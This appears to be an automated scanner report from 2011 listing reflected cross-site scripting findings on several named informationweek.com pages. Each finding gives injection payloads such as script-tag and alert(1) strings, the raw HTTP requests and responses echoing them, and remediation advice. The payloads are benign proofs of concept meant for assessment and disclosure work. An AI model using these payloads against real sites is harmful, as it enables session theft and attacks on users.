Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6645b"><a>87c0cfc260b was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /GLOBAL/apps6645b"><a>87c0cfc260b/articles/getWordValidationImage_ISO.jhtml HTTP/1.1 Host: www.informationweek.com Proxy-Connection: keep-alive Referer: http://www.informationweek.com/news/security/vulnerabilities/showArticle.jhtml?articleID=229200155&cid=RSSfeed_IWK_News Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=R01GJLA2PL02ZQE1GHPCKH4ATMY32JVN
Response
HTTP/1.1 404 Not Found Date: Tue, 15 Feb 2011 21:43:24 GMT Server: Apache Cache-Control: no-cache, max-age=0 Expires: Tue, 15 Feb 2011 21:43:24 GMT Last-Modified: Tue, Jan 27 2099 23:59:59 GMT Pragma: no-cache X-ATG-Version: ATGPlatform/7.2 [ DASLicense/0 DPSLicense/0 ] Content-Type: text/html Vary: Accept-Encoding, User-Agent Content-Length: 29915
<!-- IsEmpty true --> <!-- Check to see if this is an old story link (story/IWK20020101S001 for example) --> <SCRIPT LANGUAGE="javascript">var found="false"; // global variable to determine if a mat ...[SNIP]... <a href="http://adserver.adtechus.com/adlink/3.0/5242.1/1199874/0/16/ADTECH;alias=;key=/GLOBAL/apps6645b"><a>87c0cfc260b/articles/getWordValidatio;kvarticleid=;kvauthor=;loc=300;grp=662454524" target="_blank"> ...[SNIP]...
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1fba5"><a>9c0680389fb was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /GLOBAL/apps/articles1fba5"><a>9c0680389fb/getWordValidationImage_ISO.jhtml HTTP/1.1 Host: www.informationweek.com Proxy-Connection: keep-alive Referer: http://www.informationweek.com/news/security/vulnerabilities/showArticle.jhtml?articleID=229200155&cid=RSSfeed_IWK_News Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JSESSIONID=R01GJLA2PL02ZQE1GHPCKH4ATMY32JVN
Response
HTTP/1.1 404 Not Found Date: Tue, 15 Feb 2011 21:43:30 GMT Server: Apache Cache-Control: no-cache, max-age=0 Expires: Tue, 15 Feb 2011 21:43:30 GMT Last-Modified: Tue, Jan 27 2099 23:59:59 GMT Pragma: no-cache X-ATG-Version: ATGPlatform/7.2 [ DASLicense/0 DPSLicense/0 ] Content-Type: text/html Vary: Accept-Encoding, User-Agent Content-Length: 29915
<!-- IsEmpty true --> <!-- Check to see if this is an old story link (story/IWK20020101S001 for example) --> <SCRIPT LANGUAGE="javascript">var found="false"; // global variable to determine if a mat ...[SNIP]... <a href="http://adserver.adtechus.com/adlink/3.0/5242.1/1199874/0/16/ADTECH;alias=;key=/GLOBAL/apps/articles1fba5"><a>9c0680389fb/getWordValidatio;kvarticleid=;kvauthor=;loc=300;grp=137042293" target="_blank"> ...[SNIP]...
The value of the articleID request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ea7df'%3balert(1)//91d0c0459be was submitted in the articleID parameter. This input was echoed as ea7df';alert(1)//91d0c0459be in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/security/vulnerabilities/showArticle.jhtml?articleID=229200155ea7df'%3balert(1)//91d0c0459be&cid=RSSfeed_IWK_News HTTP/1.1 Host: www.informationweek.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Date: Tue, 15 Feb 2011 21:43:24 GMT Server: Apache Cache-Control: no-cache, max-age=0 Expires: Tue, 15 Feb 2011 21:43:24 GMT Last-Modified: Tue, Jan 27 2099 23:59:59 GMT Pragma: no-cache X-ATG-Version: ATGPlatform/7.2 [ DASLicense/0 DPSLicense/0 ] Set-Cookie: JSESSIONID=N21NVENJZUCTHQE1GHPCKHWATMY32JVN; path=/ Content-Type: text/html Vary: Accept-Encoding, User-Agent Content-Length: 33517
<!-- IsEmpty true --> <!-- Check to see if this is an old story link (story/IWK20020101S001 for example) --> <SCRIPT LANGUAGE="javascript">var found="false"; // global variable to determine if a mat ...[SNIP]... <scr'+'ipt language="javascript1.1" charset="utf-8" src="http://adserver.adtechus.com/addyn/3.0/5242.1/1199874/0/16/ADTECH;alias=InformationWeek_Security_Vulnerabilities_Welcome_Ad_1x1;key=229200155ea7df';alert(1)//91d0c0459be+/news/security/vulnerabilities/showArticle/dhandler;kvarticleid=229200155ea7df';alert(1)//91d0c0459be;kvauthor=;loc=100;target=_blank;grp=45272018;misc='+new Date().getTime()+'"> ...[SNIP]...
The value of the articleID request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 519e8"><script>alert(1)</script>4642e4bf25f was submitted in the articleID parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /news/security/vulnerabilities/showArticle.jhtml?articleID=229200155519e8"><script>alert(1)</script>4642e4bf25f&cid=RSSfeed_IWK_News HTTP/1.1 Host: www.informationweek.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Date: Tue, 15 Feb 2011 21:43:23 GMT Server: Apache Cache-Control: no-cache, max-age=0 Expires: Tue, 15 Feb 2011 21:43:23 GMT Last-Modified: Tue, Jan 27 2099 23:59:59 GMT Pragma: no-cache X-ATG-Version: ATGPlatform/7.2 [ DASLicense/0 DPSLicense/0 ] Set-Cookie: JSESSIONID=DH3IQYSBS1Y2RQE1GHRSKH4ATMY32JVN; path=/ Content-Type: text/html Vary: Accept-Encoding, User-Agent Content-Length: 33954
<!-- IsEmpty true --> <!-- Check to see if this is an old story link (story/IWK20020101S001 for example) --> <SCRIPT LANGUAGE="javascript">var found="false"; // global variable to determine if a mat ...[SNIP]... <link rel="canonical" href="http://www.informationweek.com/news/security/vulnerabilities/showArticle.jhtml?articleID=229200155519e8"><script>alert(1)</script>4642e4bf25f"/> ...[SNIP]...
The value of the cid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2c7a1"><script>alert(1)</script>f8df28bab65 was submitted in the cid parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /news/security/vulnerabilities/showArticle.jhtml?articleID=229200155&cid=RSSfeed_IWK_News2c7a1"><script>alert(1)</script>f8df28bab65 HTTP/1.1 Host: www.informationweek.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
1.6. http://www.informationweek.com/news/security/vulnerabilities/showArticle.jhtml [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.informationweek.com
Path:
/news/security/vulnerabilities/showArticle.jhtml
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2ca68"><script>alert(1)</script>0406ffdc05e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /news/security/vulnerabilities/showArticle.jhtml?articleID=229200155&cid=RSSfeed_IWK_News&2ca68"><script>alert(1)</script>0406ffdc05e=1 HTTP/1.1 Host: www.informationweek.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the User-Agent HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7c7f6"-alert(1)-"a8c7d78a304 was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.